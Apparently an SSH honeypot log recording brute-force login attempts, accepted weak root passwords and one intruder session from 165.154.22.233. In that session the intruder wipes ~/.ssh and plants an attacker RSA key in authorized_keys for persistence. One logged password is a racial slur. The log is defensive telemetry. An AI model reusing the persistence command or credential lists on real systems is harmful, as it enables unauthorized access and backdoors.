Adversarial Observation Interface

96.126.188.55

2026-05-14 21:41:29.242403 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / nas2027!

Record ID: 4c95093fab50

Client Version: SSH-2.0-Go

Engagement Duration: 0.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4c95093fab50",
  "src_ip": "96.126.188.55",
  "start_time": "2026-05-14T21:41:29.242403Z",
  "end_time": "2026-05-14T21:41:29.530173Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "nas2027!"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

49.124.152.244

2026-05-14 21:41:06.664385 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 37b391adc1d2

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "37b391adc1d2",
  "src_ip": "49.124.152.244",
  "start_time": "2026-05-14T21:41:06.664385Z",
  "end_time": "2026-05-14T21:41:06.945683Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

118.189.224.205

2026-05-14 21:41:01.475543 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / M98Jaz6JmjubWl21

Record ID: 28fe288fc334

Client Version: SSH-2.0-Go

Engagement Duration: 1.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "28fe288fc334",
  "src_ip": "118.189.224.205",
  "start_time": "2026-05-14T21:41:01.475543Z",
  "end_time": "2026-05-14T21:41:02.442998Z",
  "duration": "1.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "M98Jaz6JmjubWl21"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

118.189.224.205

2026-05-14 21:41:00.337852 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / nas!@#

Record ID: 510660bf607e

Client Version: SSH-2.0-Go

Engagement Duration: 0.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "510660bf607e",
  "src_ip": "118.189.224.205",
  "start_time": "2026-05-14T21:41:00.337852Z",
  "end_time": "2026-05-14T21:41:01.279281Z",
  "duration": "0.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "nas!@#"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

213.211.128.5

2026-05-14 21:40:54.410042 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 81d0a0513dc7

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "81d0a0513dc7",
  "src_ip": "213.211.128.5",
  "start_time": "2026-05-14T21:40:54.410042Z",
  "end_time": "2026-05-14T21:40:54.579605Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

87.117.32.22

2026-05-14 21:40:54.204672 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: blank

Record ID: dac64cc4c186

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.7s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "dac64cc4c186",
  "src_ip": "87.117.32.22",
  "start_time": "2026-05-14T21:40:54.204672Z",
  "end_time": "2026-05-14T21:40:57.938981Z",
  "duration": "3.7",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "blank",
      "pass": "blank22"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

183.6.118.248

2026-05-14 21:34:58.200233 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root2008

Record ID: 079eee5faeba

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 9.1s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "079eee5faeba",
  "src_ip": "183.6.118.248",
  "start_time": "2026-05-14T21:34:58.200233Z",
  "end_time": "2026-05-14T21:35:07.289380Z",
  "duration": "9.1",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root2008"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

109.126.41.234

2026-05-14 21:34:49.538451 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root2008

Record ID: 21270bcbc0d5

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 8.0s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "21270bcbc0d5",
  "src_ip": "109.126.41.234",
  "start_time": "2026-05-14T21:34:49.538451Z",
  "end_time": "2026-05-14T21:34:57.515735Z",
  "duration": "8.0",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root2008"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.148.10.121

2026-05-14 21:20:05.151313 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin

Record ID: 744bb721acc9

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba

{
  "id": "744bb721acc9",
  "src_ip": "45.148.10.121",
  "start_time": "2026-05-14T21:20:05.151313Z",
  "end_time": "2026-05-14T21:20:06.918599Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "bf7dbf67fa9b26ee9f9deb99c49320ba",
  "attempts": [
    {
      "user": "admin",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-05-14 21:14:30.085651 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user

Record ID: 3aa8dbcb7463

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "3aa8dbcb7463",
  "src_ip": "2.57.121.25",
  "start_time": "2026-05-14T21:14:30.085651Z",
  "end_time": "2026-05-14T21:14:36.838596Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "user",
      "pass": "kaykay"
    },
    {
      "user": "user",
      "pass": "kayak"
    },
    {
      "user": "user",
      "pass": "just"
    },
    {
      "user": "user",
      "pass": "judge"
    },
    {
      "user": "user",
      "pass": "joshua12"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.112

2026-05-14 21:14:27.064747 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: admin

Record ID: fc83d4afd935

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "fc83d4afd935",
  "src_ip": "2.57.121.112",
  "start_time": "2026-05-14T21:14:27.064747Z",
  "end_time": "2026-05-14T21:14:33.818456Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "admin",
      "pass": "fallout2"
    },
    {
      "user": "admin",
      "pass": "fake"
    },
    {
      "user": "admin",
      "pass": "fabiana"
    },
    {
      "user": "admin",
      "pass": "extreme1"
    },
    {
      "user": "admin",
      "pass": "executiv"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.227.148.131

2026-05-14 21:12:28.773655 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3faad88456f6

Client Version: SSH-2.0-Go

Engagement Duration: 20.0s

HASSH Fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a

{
  "id": "3faad88456f6",
  "src_ip": "165.227.148.131",
  "start_time": "2026-05-14T21:12:28.773655Z",
  "end_time": "2026-05-14T21:12:48.773067Z",
  "duration": "20.0",
  "version": "SSH-2.0-Go",
  "hassh": "2aec6b44b06bec95d73f66b5d30cb69a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

138.68.88.87

2026-05-14 21:12:25.998726 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2ac8dd18c43e

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "2ac8dd18c43e",
  "src_ip": "138.68.88.87",
  "start_time": "2026-05-14T21:12:25.998726Z",
  "end_time": "2026-05-14T21:12:26.152483Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

118.26.153.102

2026-05-14 21:11:24.556012 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: User

Record ID: 412ba0b04cd5

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.7s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "412ba0b04cd5",
  "src_ip": "118.26.153.102",
  "start_time": "2026-05-14T21:11:24.556012Z",
  "end_time": "2026-05-14T21:11:29.256583Z",
  "duration": "4.7",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "User",
      "pass": "1qaz2wsx"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

65.20.143.159

2026-05-14 21:11:22.773618 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: operator

Record ID: 5cd4bc5fc229

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.7s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "5cd4bc5fc229",
  "src_ip": "65.20.143.159",
  "start_time": "2026-05-14T21:11:22.773618Z",
  "end_time": "2026-05-14T21:11:26.452950Z",
  "duration": "3.7",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "operator",
      "pass": "987654321"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-14 21:11:08.406129 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 1d864a37e719

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "1d864a37e719",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-14T21:11:08.406129Z",
  "end_time": "2026-05-14T21:11:10.246365Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

49.124.150.250

2026-05-14 21:05:17.856118 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: supervisor

Record ID: 8892186d3650

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.8s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "8892186d3650",
  "src_ip": "49.124.150.250",
  "start_time": "2026-05-14T21:05:17.856118Z",
  "end_time": "2026-05-14T21:05:22.614143Z",
  "duration": "4.8",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "supervisor",
      "pass": "supervisor55"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.148.10.121

2026-05-14 21:00:46.370597 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1ccf77f200e3

Client Version: SSH-2.0-Go

Engagement Duration: 0.2s

{
  "id": "1ccf77f200e3",
  "src_ip": "45.148.10.121",
  "start_time": "2026-05-14T21:00:46.370597Z",
  "end_time": "2026-05-14T21:00:46.536978Z",
  "duration": "0.2",
  "version": "SSH-2.0-Go",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

67.201.35.147

2026-05-14 20:50:02.597777 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e6bcacb21bfe

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e6bcacb21bfe",
  "src_ip": "67.201.35.147",
  "start_time": "2026-05-14T20:50:02.597777Z",
  "end_time": "2026-05-14T20:52:02.623486Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

72.207.33.65

2026-05-14 20:46:13.967623 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 03f84058babf

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "03f84058babf",
  "src_ip": "72.207.33.65",
  "start_time": "2026-05-14T20:46:13.967623Z",
  "end_time": "2026-05-14T20:48:14.061455Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

177.174.105.113

2026-05-14 20:42:17.907499 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: centos

Record ID: ed912cb2a056

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.3s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "ed912cb2a056",
  "src_ip": "177.174.105.113",
  "start_time": "2026-05-14T20:42:17.907499Z",
  "end_time": "2026-05-14T20:42:22.194811Z",
  "duration": "4.3",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "centos",
      "pass": "centos8"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

124.29.223.208

2026-05-14 20:42:17.212098 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 52a06412fb0e

Client Version: Unknown

Engagement Duration: 1.7s

{
  "id": "52a06412fb0e",
  "src_ip": "124.29.223.208",
  "start_time": "2026-05-14T20:42:17.212098Z",
  "end_time": "2026-05-14T20:42:18.951950Z",
  "duration": "1.7",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

213.209.159.56

2026-05-14 20:38:42.991061 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: shlomo

Record ID: b064decfa3c6

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.6s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "b064decfa3c6",
  "src_ip": "213.209.159.56",
  "start_time": "2026-05-14T20:38:42.991061Z",
  "end_time": "2026-05-14T20:38:49.577017Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "shlomo",
      "pass": "shlomo"
    },
    {
      "user": "shlomo",
      "pass": "shlomo1"
    },
    {
      "user": "shlomo",
      "pass": "shlomo123"
    },
    {
      "user": "shlomo",
      "pass": "shlomo1234"
    },
    {
      "user": "shlomo",
      "pass": "shlomo12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-14 20:38:30.532968 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 8681caeb1eeb

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "8681caeb1eeb",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-14T20:38:30.532968Z",
  "end_time": "2026-05-14T20:38:32.496327Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:34:16.097667 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dockeradmin

Record ID: 595f2772ccbe

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "595f2772ccbe",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:34:16.097667Z",
  "end_time": "2026-05-14T20:34:18.483877Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "dockeradmin",
      "pass": "dockeradmin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:32:49.400069 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 188d7df5f171

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "188d7df5f171",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:32:49.400069Z",
  "end_time": "2026-05-14T20:32:50.570931Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:32:46.987933 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 60c6cefffd57

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "60c6cefffd57",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:32:46.987933Z",
  "end_time": "2026-05-14T20:32:49.212390Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:32:44.436523 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / nigger123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 588267b2322f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "588267b2322f",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:32:44.436523Z",
  "end_time": "2026-05-14T20:32:50.573893Z",
  "duration": "6.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "nigger123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

165.154.22.233

2026-05-14 20:31:09.718717 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jflhi5za

Record ID: 68bbff7e332e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "68bbff7e332e",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:31:09.718717Z",
  "end_time": "2026-05-14T20:31:11.906364Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "jflhi5za",
      "pass": "drHsosw0iIPRMnLcZUwC"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:29:39.798358 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: shrvn6xd

Record ID: 0c967e0b2d81

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0c967e0b2d81",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:29:39.798358Z",
  "end_time": "2026-05-14T20:29:42.013054Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "shrvn6xd",
      "pass": "KZ+1E0C~_qz+E2wt64ko"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:28:07.029121 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: 0ce2bd9664c8

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0ce2bd9664c8",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:28:07.029121Z",
  "end_time": "2026-05-14T20:28:09.267425Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "user1",
      "pass": "user1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:26:35.779144 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: newusername

Record ID: f7b5f32c4aa2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f7b5f32c4aa2",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:26:35.779144Z",
  "end_time": "2026-05-14T20:26:37.975242Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "newusername",
      "pass": "newusername"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:25:10.251873 UTC

